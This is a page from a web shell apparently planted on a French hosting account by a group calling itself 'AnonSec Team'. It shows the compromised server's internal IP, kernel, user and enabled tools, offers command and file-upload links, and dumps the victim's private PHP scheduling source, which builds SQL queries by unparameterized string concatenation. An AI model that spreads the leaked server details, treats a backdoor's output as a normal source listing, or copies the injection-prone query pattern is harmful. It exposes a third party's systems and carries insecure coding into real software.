AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/prestation_salarie.php
<?php

// echo "yassin <br/>" ; 
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo "<pre>" ; 
// print_r($_POST) ; 
// echo "</pre>" ; 

$salarie_contrat_id = $_POST['rowid'] ; 
function convertToHoursMins($time, $format = '%02d:%02d') {
    if ($time < 1) {
        return;
    }
    $hours = floor($time / 60);
    $minutes = ($time % 60);
    return sprintf($format, $hours, $minutes);
}

function count_week_days($__date_from, $__date_to, $__holidays_between=array(), $__weekend_days=array()) { 
   $total_days_count = $__date_to > $__date_from ? round(($__date_to - $__date_from)/(24*3600)) : 0;
   $full_weeks_count = floor($total_days_count/7);
   $weekend_days_count = $full_weeks_count*count($__weekend_days);
   $days_left_uncovered = $total_days_count - $full_weeks_count*7;
   for($i = 0; $i < $days_left_uncovered; $i++) {
      $date_to_check = $i ? strtotime("+{$i} day", $__date_from) : $__date_from;
      if(in_array(date('N', $date_to_check), $__weekend_days)) {
         $weekend_days_count++; 
      }
   }
   $week_days_count = $total_days_count - $weekend_days_count - count($__holidays_between); 
   return $week_days_count;
}
function type_pre_GET ($value =12)
{
	$tab = array(10 => 'Viste medicale', 11 => 'Entretien',  12 => 'Autre ');
	return $tab[$value] ;
}
 

// $R=dbi_query("SELECT client_id id, concat(client_nom, ' ', client_pnom) civ, client_prospect, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." where agence_id=$agence ".( $_SESSION['client_actif']=='off' ? "" : "AND client_actif='0'")."  ");





 


// $R=dbi_query("SELECT client_id id, concat(client_nom, ' ', client_pnom) civ, client_prospect, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." where agence_id=$agence ".( $_SESSION['client_actif']=='off' ? "" : "AND client_actif='0'")."  ");

// exit() ; 
function daysfr ($value = 0)
{
$tab = array(0 => 'Dimanche', 1 => 'Lundi',  2 => 'Mardi', 3 => 'Mercredi', 4 => 'Jeudi', 5 => 'Vendredi', 6 => 'Samedi');
	 return $tab[$value];
}
if($_POST['rowid']>0)
{
	$id_relance_programee =$_POST['rowid'] ; 
}

function daysfr_new ($value = 0)
{
$tab = array('Sun' => 'Dimanche', 'Mon' => 'Lundi', 'Tue' => 'Mardi', 'Wed' => 'Mercredi', 'Thu' => 'Jeudi', 'Fri' => 'Vendredi', 'Sat' => 'Samedi');
	 return $tab[$value];
}


// $days =  daysfr('Mon') ; 
// echo $days."<br/>" ; 
// exit() ;
function date_prestation_to_jour($dat)
{
$a=int2date_autre_format_deux($dat) ; 
$dt = strtotime($a);
$day = date("D", $dt);
$jour=daysfr_new($day) ; 
return $jour ; 
// return $day ; 

}

// echo "testddd <br/> " ; 

// exit() ; 

function get_prest_sem( $interdispo,$from ,$to,$agence,$CLIENTS)
{
	$id=0;
	  $p=array();
   // $week_end  = 	$to ;
   $salarie_id	 = $interdispo ;

$data = array();
$now = new DateTime();
$start = $from  ;
$end = $to;
// $end = $now -> format('Ymt');
$date =  $start ;
$i=0 ; 
	while ($date <= $end )
	{
		// $q = dbi_query("
// SELECT * FROM PRESTATIONS p where presta_date_debut <= $date AND (p.presta_date_fin >= $date OR p.presta_date_fin IS NULL)
// AND p.presta_id IN ( select presta_id FROM PRESTATIONS_MODIF WHERE salarie_id = $salarie_id )

		// ");
		$q = dbi_query("
SELECT * FROM PRESTATIONS p where presta_date_debut <= $date AND (p.presta_date_fin >= $date OR p.presta_date_fin IS NULL)
AND ( p.presta_id IN (select presta_id FROM PRESTATIONS WHERE salarie_id = $salarie_id   ) OR p.presta_id IN ( select presta_id FROM PRESTATIONS_MODIF WHERE salarie_id = $salarie_id ) )

AND ( p.presta_recur IS NULL OR p.presta_recur NOT IN ( SELECT presta_id FROM PRESTATIONS where  presta_date_fin < $date ) )

		");
		
		// echo "
// SELECT * FROM PRESTATIONS p where presta_date_debut <= $date AND (p.presta_date_fin >= $date OR p.presta_date_fin IS NULL)
// AND (p.presta_id IN (select presta_id FROM PRESTATIONS WHERE salarie_id = $salarie_id   ) OR p.presta_id IN ( select presta_id FROM PRESTATIONS_MODIF WHERE salarie_id = $salarie_id ) )
		// ".'<br>';
		// exit() ;
			while($prest = dbi_fetch_row($q))
		{		
				$date_presta_sem = $prest['presta_date_debut'] ;
				$q1 = dbi_query("SELECT * FROM PRESTATIONS_MODIF WHERE presta_id = ".$prest['presta_id']." order by start, modif_id ") ;
				while (($m = dbi_fetch_row($q1)) && $date >= $m['start'])
				{
					if( $m['presta_sem'] != NULL ) $date_presta_sem = $m['start'];
					
					if( $prest['presta_sem'] > 1 ) {
						if($m['presta_jour'] !== NULL && $date >= $m['start'])  {
							$date_presta_sem = $m['start'];
							$date_presta_sem = date("Ymd", strtotime('monday this week', strtotime(int2date_autre_format($date_presta_sem))));
						}
					}
					$prest['client_id'] = $m['client_id'] === NULL ? $prest['client_id'] : $m['client_id'] ;
					$prest['salarie_id'] = $m['salarie_id'] === NULL ? $prest['salarie_id'] : $m['salarie_id'] ;
					$prest['presta_sem'] = $m['presta_sem'] === NULL ? $prest['presta_sem'] : $m['presta_sem'] ;
					$prest['presta_jour'] = $m['presta_jour'] === NULL ? $prest['presta_jour'] : $m['presta_jour'] ;
					$prest['presta_Hdeb'] = $m['presta_Hdeb'] === NULL ? $prest['presta_Hdeb'] : $m['presta_Hdeb'] ;
					$prest['presta_date_debut'] = $m['presta_date_debut'] === NULL ? $prest['presta_date_debut'] : $m['presta_date_debut'] ;
					$prest['presta_Hduree'] = $m['presta_Hduree'] === NULL ? $prest['presta_Hduree'] : $m['presta_Hduree'] ;
					$prest['chantier_id'] = $m['chantier_id'] === NULL ? $prest['chantier_id'] : $m['chantier_id'] ;
					$prest['presta_forfait'] = $m['presta_forfait'] === NULL ? $prest['presta_forfait'] : $m['presta_forfait'] ;	
				}
			if( $prest['salarie_id'] == $salarie_id ) {
				// if($date == '20200806')
					// echo $prest["presta_id"].' ** ';
				$day = date("w", strtotime( int2date_autre_format($date)));
				// if( $day == $prest['presta_jour']){
				if( $day == $prest['presta_jour'] OR  ( $date == $prest['presta_date_debut'] &&  $prest['presta_date_debut']	== $prest['presta_date_fin'] ) ){
						
					// $istart = str_pad($prest['presta_Hdeb'] / 10000 , 2, '0', STR_PAD_LEFT) ;
					$hstart = str_pad((int)($prest['presta_Hdeb'] /  10000) , 2, '0', STR_PAD_LEFT) ;
					// $hstart = str_pad(round($prest['presta_Hdeb'] /  10000, 0) , 2, '0', STR_PAD_LEFT) ;
					$mstart = str_pad(($prest['presta_Hdeb'] %  10000)/100  , 2, '0', STR_PAD_LEFT);
					$hend = str_pad(round(addDuree($prest['presta_Hdeb'], $prest['presta_Hduree']) /  10000, 0) , 2, '0', STR_PAD_LEFT) ;
					$mend = str_pad((addDuree($prest['presta_Hdeb'], $prest['presta_Hduree']) %  10000)/100  , 2, '0', STR_PAD_LEFT);
					$istart = int2date_autre_format($date).' '.$hstart.':'.$mstart.':00';
					$iend = int2date_autre_format($date).' '.$hend.':'.$mend.':00';	

               $EXP = dbi_fetch_row(dbi_query("SELECT date_presta FROM EXCEPTIONS WHERE presta_id = ".$prest['presta_id']." AND date_presta = ".$date." " )) ;	   ;
				   if($EXP ){}   else {
						if( $prest['presta_sem'] == 1 )
						{
							   $Clt = dbi_fetch_row(dbi_query("SELECT * FROM client WHERE client_id = ".$prest['client_id'] ." " )) ;	    
							   $data[$i]['presta_id']   = $prest["presta_id"];
							   $data[$i]['client_id']   = $prest["client_id"];
							   $data[$i]['presta_Hdeb']   = $prest["presta_Hdeb"];
							   $data[$i]['presta_Hduree']   = $prest["presta_Hduree"];
							   $data[$i]['presta_jour']   = $prest["presta_jour"];
							   $data[$i]['presta_date_debut']   = $prest["presta_date_debut"];
								if($prest['client_id'] == $TMCPROCLIENTID)
									$data[$i]['title']   = '('. convertToHoursMins($prest['presta_Hduree'], '%01dh%02d').") ".$prest['prestation_motif'];   
								else
							   $data[$i]['title']   = '('. convertToHoursMins($prest['presta_Hduree'], '%01dh%02d').") ".$Clt["client_nom"];
							   // $data[$i]['title']   = '('. convertToHoursMins($prest['presta_Hduree'], '%01dh%02d').") ".$Clt["client_nom"];
							   $data[$i]['start']  = $istart;
							   $data[$i]['end']   = $iend;
							   $data[$i]['date']   = $date;
						   
							   ++$i;	
						}
						else
						{
							$nbre =count_week_days(strtotime(int2date_autre_format($date_presta_sem,'d.m.Y')), strtotime(int2date_autre_format($date,'d.m.Y')));
							$modolo = $nbre % $prest['presta_sem'] ;
							if( $modolo == 0) {
							   $Clt = dbi_fetch_row(dbi_query("SELECT * FROM client WHERE client_id = ".$prest['client_id'] ." " )) ;	    
							   $data[$i]['presta_id']   = $prest["presta_id"];
							   $data[$i]['client_id']   = $prest["client_id"];
							   $data[$i]['presta_Hdeb']   = $prest["presta_Hdeb"];
							   $data[$i]['presta_Hduree']   = $prest["presta_Hduree"];
							   $data[$i]['presta_jour']   = $prest["presta_jour"];
								if($prest['client_id'] == $TMCPROCLIENTID)
									$data[$i]['title']   = '('. convertToHoursMins($prest['presta_Hduree'], '%01dh%02d').") ".$prest['prestation_motif'];   
								else
							   $data[$i]['title']   = '('. convertToHoursMins($prest['presta_Hduree'], '%01dh%02d').") ".$Clt["client_nom"];
							   $data[$i]['start']  = $istart;
							   $data[$i]['end']   = $iend;
							   $data[$i]['date']   = $date;

								
								 ++$i;
							}
							
						}	

				   }
				}
			}	
			// echo  date("Ymd", strtotime( int2date_autre_format($date))).' !! '.$prest['presta_id'].' $$ '.$prest['presta_jour'].'<br>';	
		}	
		
		
		
// $date = time2int($time) ;
		
		
		
		
		$date =  date("Ymd", strtotime("+1 day", strtotime($date)));
	}




						// $presta_Hduree /= 60 ; 
						
						// echo "=ddddfyyyy===> $presta_Hduree <br/>" ; 
								    // echo '<pre>';
									// print_r($data);
									// echo '</pre>';
					

/*					
						exit() ; 
	
	
	
	// echo "===> rr <br/>" ; 
$id=0;
	  $p=array();
$db=debutsem(date('Y', strtotime($from)),date('m', strtotime($from)),date('d', strtotime($from)));
$dbto=debutsem(date('Y', strtotime($to)),date('m', strtotime($to)),date('d', strtotime($to)));
echo " --->  $db /ssssss/ $and <br/> ";
$fin=date('Ymd',int2time($dbto)+6*24*3600 );
while($db < $fin )
	{
		
	$and = date('Ymd',int2time($db)+6*24*3600 );
	$presta_jour1 = array('nynnnnn' => '1', 'nnynnnn' => '2', 'nnnynnn' => '3', 'nnnnynn' => '4', 'nnnnnyn' => '5', 'nnnnnny' => '6', 'ynnnnnn' => '0')  ;
    $presta_jour2 = array('1' => 'nynnnnn', '2' => 'nnynnnn', '3' => 'nnnynnn', '4' => 'nnnnynn', '5' => 'nnnnnyn', '6' => 'nnnnnny', '0' => 'ynnnnnn')  ;
 
   

	
	$q2 = dbi_query("SELECT p.* FROM PRESTATIONS p, client  c WHERE p.client_id=c.client_id  AND ((presta_date_debut <= $db) OR (presta_jour = 'nnnnnnn' OR  presta_jour is NULL))  AND  presta_date_debut < $and AND (p.presta_date_fin >= $db OR p.presta_date_fin >= $and OR p.presta_date_fin IS NULL) ");
	
	
	
	// $q2 = dbi_query("SELECT p.* FROM ".TABLE_PREST." p, ".TABLE_CLIENT." c WHERE p.client_id=c.client_id and p.agence_id=$agence AND presta_date_debut <= $and AND (p.presta_date_fin >= $db OR p.presta_date_fin IS NULL) ");
	// $q2 = dbi_query("SELECT * FROM ".TABLE_PREST." p where p.client_id=".$clien['client_id']." AND p.agence_id=$agence AND presta_date_debut < $to AND (p.presta_date_fin >= $from  OR p.presta_date_fin >= $to OR p.presta_date_fin IS NULL) ");
	while($prest = dbi_fetch_row($q2))
	{
	
	if($prest['presta_jour']== 'nnnnnnn' || $prest['presta_jour']== '' || $prest['presta_jour']== NULL )
	$prest['presta_jour']=$presta_jour2[date("w",strtotime($prest['presta_date_fin']))];


   // echo "===============FFFFFFFFFFF===>".$prest['presta_jour']."<br/>" ; 
	
		$data = array('jour' => $prest['presta_jour'], 'deb' => $prest['presta_Hdeb'], 'duree' => $prest['presta_Hduree'], 'inter' => $prest['salarie_id'], 'taux' => $prest['presta_forfait']) ;
		// $q1 = dbi_query("SELECT * FROM ".TABLE_PRESTA_MODIF." WHERE presta_id = ".$prest['presta_id']." order by `start`, `date`") ;
		$q1 = dbi_query("SELECT * FROM PRESTATIONS_MODIF WHERE presta_id = ".$prest['presta_id']." AND start <= $and  order by `start`, `date`") ;
	    // echo " --->  $db - KKKKK OOOPPPPP -  $and <br/> ";
		
	// echo $prest['presta_jour'].' !! ';
		while (($m = dbi_fetch_row($q1)) )
		{
			$jour = $m['presta_jour'] === NULL ? $data['jour'] : $m['presta_jour'] ;
				$date=jour_jouren2($jour,$db);
			 if($date>=$m['start']) {
			  // if($m['start'] <= $to)
			 // {
				$data['jour'] = $m['jour'] === NULL ? $data['jour'] : $m['jour'] ;
				$data['deb'] = $m['Hdeb'] === NULL ? $data['deb'] : $m['Hdeb'] ;
				$data['duree'] = $m['presta_Hduree'] === NULL ? $data['duree'] : $m['presta_Hduree'] ;
				$data['inter'] = $m['salarie_id'] === NULL ? $data['inter'] : $m['salarie_id'] ;
				$data['taux'] = $m['taux'] === NULL ? $data['taux'] : $m['taux'] ;
			 }
		}
		
	
	

$jour=$data['jour'];

	if ($data['inter']==$interdispo)
	{
		
		
	
		
	$heurefin=addDuree($data['deb'],$data['duree']);
	$qexcept=dbi_query("SELECT * FROM ".TABLE_EXCEPT." WHERE (date BETWEEN ".$db." AND ".$and.") AND presta_id=".$prest['presta_id']." ");	
	
	if($rr = dbi_fetch_row($qexcept)){
		}
		else{
		if (in_array($prest['client_id'], $CLIENTS))
		{
		echo "!kk! ".$jour." / $db !! <br/>";
$presta=array("presta_id" => $prest['presta_id'],"presta_desc" => $prest['presta_desc']	,	"presta_date_debut" => $prest['presta_date_debut']	,	"presta_Hdeb" => $data['deb']	,	"presta_Hduree" => $data['duree']	,	"presta_recur" => $prest['presta_recur']	,	"presta_date_fin" => $prest['presta_date_fin']	,	"presta_jour" => $jour	,	"presta_forfait" => $prest['presta_jour']	, 	"presta_forfaitHT" => $prest['presta_forfaitHT'],	"presta_status" => $prest['presta_status']	,	"presta_sem" => $prest['presta_sem']	,	"client_id" => $prest['client_id']	,	"inter_id" => $data['inter']	,	"agence_id" =>	$prest['agence_id'],	"date" =>	jour_jouren2($jour,$db));
	         $p[$id]=	$presta;
			++$id;
		}
           }
	 }

	}
	$db = time2int(add_day(int2time($db),7) );
	}*/
	return $data;	

}


$salarie_contrat_date_debut = "20210308" ; 

$salarie_contrat_date_fin   = "20220308" ; 

$salarie_id = 2543 ; 
$pre=get_prest_sem( $salarie_id ,$salarie_contrat_date_debut,$salarie_contrat_date_fin ,47,$CLIENTS);
		echo '<pre>';
		print_r($pre);
		echo '</pre>' ; 

?>

AnonSec - 2021